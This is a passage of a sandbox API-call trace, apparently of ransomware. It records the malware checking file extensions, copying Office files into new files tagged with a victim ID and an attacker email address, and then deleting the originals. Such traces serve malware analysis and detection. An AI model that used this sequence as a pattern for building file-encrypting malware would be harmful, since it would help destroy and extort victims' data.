Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0039.166] lstrlenW (lpString=".zip") returned 4 [0039.166] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0039.166] lstrlenW (lpString=".rar") returned 4 [0039.166] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0039.166] lstrlenW (lpString=".bz2") returned 4 [0039.166] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0039.166] lstrlenW (lpString=".7z") returned 3 [0039.166] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0039.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0039.166] lstrlenW (lpString=".dbf") returned 4 [0039.166] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0039.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0039.166] lstrlenW (lpString=".1cd") returned 4 [0039.166] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0039.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0039.166] lstrlenW (lpString=".jpg") returned 4 [0039.166] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0039.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0039.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0039.166] lstrlenW (lpString=".doc") returned 4 [0039.166] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0039.166] lstrlenW (lpString=".docx") returned 5 [0039.166] lstrcmpiW (lpString1=".docx", lpString2="0.CHM") returned -1 [0039.166] lstrlenW (lpString=".pdf") returned 4 [0039.166] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0039.167] lstrlenW (lpString=".xls") returned 4 [0039.167] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0039.167] lstrlenW (lpString=".xlsx") returned 5 [0039.167] lstrcmpiW (lpString1=".xlsx", lpString2="0.CHM") returned -1 [0039.167] lstrlenW (lpString=".ppt") returned 4 [0039.167] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0039.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0039.167] lstrlenW (lpString=".zip") returned 4 [0039.167] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0039.167] lstrlenW (lpString=".rar") returned 4 [0039.167] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0039.167] lstrlenW (lpString=".bz2") returned 4 [0039.167] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0039.167] lstrlenW (lpString=".7z") returned 3 [0039.167] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0039.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0039.167] lstrlenW (lpString=".dbf") returned 4 [0039.167] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0039.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0039.167] lstrlenW (lpString=".1cd") returned 4 [0039.167] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0039.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0039.167] lstrlenW (lpString=".jpg") returned 4 [0039.167] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0039.167] lstrcmpiW (lpString1=".CHM", lpString2=".html") returned -1 [0039.167] lstrlenW (lpString="PSS10R.CHM") returned 10 [0039.167] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0039.260] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=27195) returned 1 [0039.260] CloseHandle (hObject=0x184) returned 1 [0039.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm")) returned 0x20 [0039.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0039.260] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0039.260] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0039.261] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0039.261] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0039.261] GetLastError () returned 0x0 [0039.261] ReadFile (in: hFile=0x184, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x6a3b, lpOverlapped=0x0) returned 1 [0039.688] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x6a40, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x6a40, lpOverlapped=0x0) returned 1 [0039.689] ReadFile (in: hFile=0x184, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0039.689] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0039.689] SetEndOfFile (hFile=0x1d8) returned 1 [0039.775] CloseHandle (hObject=0x1d8) returned 1 [0039.776] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0039.776] SetEndOfFile (hFile=0x184) returned 1 [0039.777] CloseHandle (hObject=0x184) returned 1 [0039.777] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0039.777] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm")) returned 1 [0039.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0039.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0039.777] lstrlenW (lpString=".doc") returned 4 [0039.777] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0039.777] lstrlenW (lpString=".docx") returned 5 [0039.777] lstrcmpiW (lpString1=".docx", lpString2="R.CHM") returned -1 [0039.777] lstrlenW (lpString=".pdf") returned 4 [0039.778] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0039.778] lstrlenW (lpString=".xls") returned 4 [0039.778] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0039.778] lstrlenW (lpString=".xlsx") returned 5 [0039.778] lstrcmpiW (lpString1=".xlsx", lpString2="R.CHM") returned -1 [0039.778] lstrlenW (lpString=".ppt") returned 4 [0039.778] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0039.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0039.778] lstrlenW (lpString=".zip") returned 4 [0039.778] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0039.778] lstrlenW (lpString=".rar") returned 4 [0039.778] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0039.778] lstrlenW (lpString=".bz2") returned 4 [0039.778] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0039.778] lstrlenW (lpString=".7z") returned 3 [0039.778] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0039.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0039.778] lstrlenW (lpString=".dbf") returned 4 [0039.778] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0039.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0039.778] lstrlenW (lpString=".1cd") returned 4 [0039.778] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0039.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0039.778] lstrlenW (lpString=".jpg") returned 4 [0039.778] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0039.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0039.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0039.778] lstrlenW (lpString=".doc") returned 4 [0039.778] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0039.778] lstrlenW (lpString=".docx") returned 5 [0039.778] lstrcmpiW (lpString1=".docx", lpString2="R.CHM") returned -1 [0039.778] lstrlenW (lpString=".pdf") returned 4 [0039.779] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0039.779] lstrlenW (lpString=".xls") returned 4 [0039.779] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0039.779] lstrlenW (lpString=".xlsx") returned 5 [0039.779] lstrcmpiW (lpString1=".xlsx", lpString2="R.CHM") returned -1 [0039.779] lstrlenW (lpString=".ppt") returned 4 [0039.779] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0039.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0039.779] lstrlenW (lpString=".zip") returned 4 [0039.779] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0039.779] lstrlenW (lpString=".rar") returned 4 [0039.779] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0039.779] lstrlenW (lpString=".bz2") returned 4 [0039.779] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0039.779] lstrlenW (lpString=".7z") returned 3 [0039.779] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0039.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0039.779] lstrlenW (lpString=".dbf") returned 4 [0039.779] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0039.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0039.779] lstrlenW (lpString=".1cd") returned 4 [0039.779] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0039.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0039.779] lstrlenW (lpString=".jpg") returned 4 [0039.779] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0039.779] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0039.779] lstrlenW (lpString="SETUP.XML") returned 9 [0039.779] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0039.780] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=9352) returned 1 [0039.780] CloseHandle (hObject=0x184) returned 1 [0039.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml")) returned 0x20 [0039.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0039.780] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0039.780] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0039.780] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0039.780] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0039.780] GetLastError () returned 0x0 [0039.780] ReadFile (in: hFile=0x184, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x2488, lpOverlapped=0x0) returned 1 [0039.782] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x2490, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x2490, lpOverlapped=0x0) returned 1 [0039.783] ReadFile (in: hFile=0x184, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0039.783] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0039.783] SetEndOfFile (hFile=0x1d8) returned 1 [0039.783] CloseHandle (hObject=0x1d8) returned 1 [0039.784] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0039.784] SetEndOfFile (hFile=0x184) returned 1 [0039.785] CloseHandle (hObject=0x184) returned 1 [0039.785] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0039.785] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml")) returned 1 [0039.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0039.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0039.785] lstrlenW (lpString=".doc") returned 4 [0039.785] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0039.785] lstrlenW (lpString=".docx") returned 5 [0039.785] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0039.785] lstrlenW (lpString=".pdf") returned 4 [0039.785] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0039.785] lstrlenW (lpString=".xls") returned 4 [0039.785] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0039.785] lstrlenW (lpString=".xlsx") returned 5 [0039.785] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0039.785] lstrlenW (lpString=".ppt") returned 4 [0039.785] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0039.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0039.785] lstrlenW (lpString=".zip") returned 4 [0039.786] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0039.786] lstrlenW (lpString=".rar") returned 4 [0039.786] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0039.786] lstrlenW (lpString=".bz2") returned 4 [0039.786] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0039.786] lstrlenW (lpString=".7z") returned 3 [0039.786] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0039.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0039.786] lstrlenW (lpString=".dbf") returned 4 [0039.786] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0039.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0039.786] lstrlenW (lpString=".1cd") returned 4 [0039.786] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0039.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0039.786] lstrlenW (lpString=".jpg") returned 4 [0039.786] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0039.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0039.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0039.786] lstrlenW (lpString=".doc") returned 4 [0039.786] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0039.786] lstrlenW (lpString=".docx") returned 5 [0039.786] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0039.786] lstrlenW (lpString=".pdf") returned 4 [0039.786] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0039.786] lstrlenW (lpString=".xls") returned 4 [0039.786] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0039.786] lstrlenW (lpString=".xlsx") returned 5 [0039.786] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0039.786] lstrlenW (lpString=".ppt") returned 4 [0039.786] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0039.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0039.786] lstrlenW (lpString=".zip") returned 4 [0039.786] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0039.787] lstrlenW (lpString=".rar") returned 4 [0039.787] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0039.787] lstrlenW (lpString=".bz2") returned 4 [0039.787] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0039.787] lstrlenW (lpString=".7z") returned 3 [0039.787] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0039.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0039.787] lstrlenW (lpString=".dbf") returned 4 [0039.787] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0039.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0039.787] lstrlenW (lpString=".1cd") returned 4 [0039.787] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0039.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0039.787] lstrlenW (lpString=".jpg") returned 4 [0039.787] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0039.787] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0039.787] lstrlenW (lpString="Office32MUI.XML") returned 15 [0039.787] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0039.788] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=1383) returned 1 [0039.788] CloseHandle (hObject=0x184) returned 1 [0039.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml")) returned 0x20 [0039.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0039.788] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0039.788] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0039.789] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0039.789] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0039.790] GetLastError () returned 0x0 [0039.790] ReadFile (in: hFile=0x184, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x567, lpOverlapped=0x0) returned 1 [0039.792] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x570, lpOverlapped=0x0) returned 1 [0039.793] ReadFile (in: hFile=0x184, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0039.793] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xf2, lpOverlapped=0x0) returned 1 [0039.793] SetEndOfFile (hFile=0x1d8) returned 1 [0039.793] CloseHandle (hObject=0x1d8) returned 1 [0039.794] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0039.794] SetEndOfFile (hFile=0x184) returned 1 [0039.794] CloseHandle (hObject=0x184) returned 1 [0039.794] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0039.795] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml")) returned 1 [0039.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 